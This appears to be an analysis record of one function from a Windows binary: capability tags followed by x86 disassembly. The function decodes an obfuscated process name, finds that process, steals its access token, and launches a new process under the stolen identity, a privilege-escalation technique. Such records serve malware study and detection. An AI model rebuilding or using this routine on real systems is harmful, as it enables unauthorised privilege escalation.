Function at 0x412940
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Enumerate processes
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x449ded
mov eax, dword fs:[0]
push eax
sub esp, 0x32c
mov eax, dword [0x465124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0xa0], 0x577a0555
mov dword [ebp - 0x9c], 0x1b712499
mov dword [ebp - 0x98], 0x85e3f6a2
mov byte [ebp - 0x94], 0
nop dword [eax + eax]
mov dl, al
mov cl, al
sub dl, byte [ebp + eax - 0xa0]
mov dh, 6
xor dl, 0x9f
add dl, 0x69
not dl
sub dl, al
xor dl, 0x44
sub cl, dl
mov dl, al
xor cl, 0xaf
sub dl, cl
movzx ecx, al
ror dl, 1
sub dl, al
imul ecx, ecx, 0xfe
xor dl, al
not dl
add dl, 0x1a
ror dl, 2
sub dl, 0x57
xor dl, al
sub dh, dl
mov dl, 0x7d
rol dh, 1
add dh, al
neg dh
xor dh, al
add dh, al
xor dh, 9
sub cl, dh
not cl
add cl, al
rol cl, 2
not cl
xor cl, al
sub cl, 6
rol cl, 2
xor cl, al
add cl, 0x25
ror cl, 3
sub cl, al
ror cl, 1
sub cl, 0x41
xor cl, al
add cl, 7
ror cl, 3
sub cl, 0x56
xor cl, al
add cl, al
neg cl
xor cl, al
mov dword [ebp - 0x32c], ecx
mov cl, 0x5b
sub cl, byte [ebp - 0x32c]
xor cl, al
sub dl, cl
xor dl, 0x18
sub dl, al
xor dl, al
ror dl, 3
xor dl, 0xe4
add dl, 0x43
not dl
sub dl, al
xor dl, 0xb6
sub dl, al
ror dl, 2
mov byte [ebp + eax - 0xa0], dl
inc eax
cmp eax, 0xd
jb 0x4129a0
movq xmm1, qword [ebp - 0xa0]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
mov ecx, 8
movups xmmword [ebp - 0x90], xmm1
nop
movzx eax, byte [ebp + ecx - 0xa0]
mov word [ebp + ecx*2 - 0x90], ax
inc ecx
cmp ecx, 0xd
jb 0x412a80
xor edi, edi
xor eax, eax
push edi
push 2
mov word [ebp - 0x76], ax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x412d34
push 0x228
lea eax, [ebp - 0x324]
mov dword [ebp - 0x328], 0x22c
push edi
push eax
call fcn.0042b430
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x412b1e
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.0042e0e6
add esp, 8
test eax, eax
je 0x412d29
lea eax, [ebp - 0x328]
push eax
push esi
call edi
test eax, eax
jne 0x412af0
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x412d34
xorps xmm0, xmm0
mov dword [ebp - 0x330], 0
push edi
push 1
push 0x1000
mov dword [ebp - 0x32c], 0
movlpd qword [ebp - 0xf8], xmm0
movlpd qword [ebp - 0xf0], xmm0
movlpd qword [ebp - 0xe8], xmm0
movlpd qword [ebp - 0xe0], xmm0
movlpd qword [ebp - 0xd8], xmm0
movlpd qword [ebp - 0xd0], xmm0
movlpd qword [ebp - 0xc8], xmm0
movlpd qword [ebp - 0xc0], xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0xfc], 0x44
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 0x330]
push ecx
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x412bd2
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov eax, dword [ebp + 0x18]
lea edi, [ebp + 8]
cmovae edx, dword [ebp + 8]
lea ecx, [ebp - 0xb8]
add eax, edx
mov dword [ebp - 0xb8], 0
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x338], eax
cmovae edi, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 0xa8], 0
push eax
mov dword [ebp - 0xa4], 7
call fcn.00426050
mov byte [ebp - 0x334], 0
lea ecx, [ebp - 0xb8]
push dword [ebp - 0x334]
push dword [ebp - 0x338]
push edi
call fcn.004263f0
lea eax, [ebp - 0x32c]
push eax
push 1
push 2
push 0
push 0x2000000
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
cmp dword [ebp - 0xa4], 8
lea ecx, [ebp - 0xa0]
push ecx
lea ecx, [ebp - 0xfc]
push ecx
push 0
push 0
push 0x8000000
push 0
lea eax, [ebp - 0xb8]
cmovae eax, dword [ebp - 0xb8]
push eax
push 1
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x412cd8
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412cce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d84
push edx
push ecx
call fcn.00429e16
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp edx, 0x10
jb 0x412d25
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d1b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d84
push edx
push ecx
call fcn.00429e16
add esp, 8
xor eax, eax
jmp 0x412d69
mov edi, dword [ebp - 0x320]
jmp 0x412b1e
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x412d64
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d5a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d84
push edx
push ecx
call fcn.00429e16
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004297a0
mov esp, ebp
pop ebp
ret
call fcn.0042eb25
int3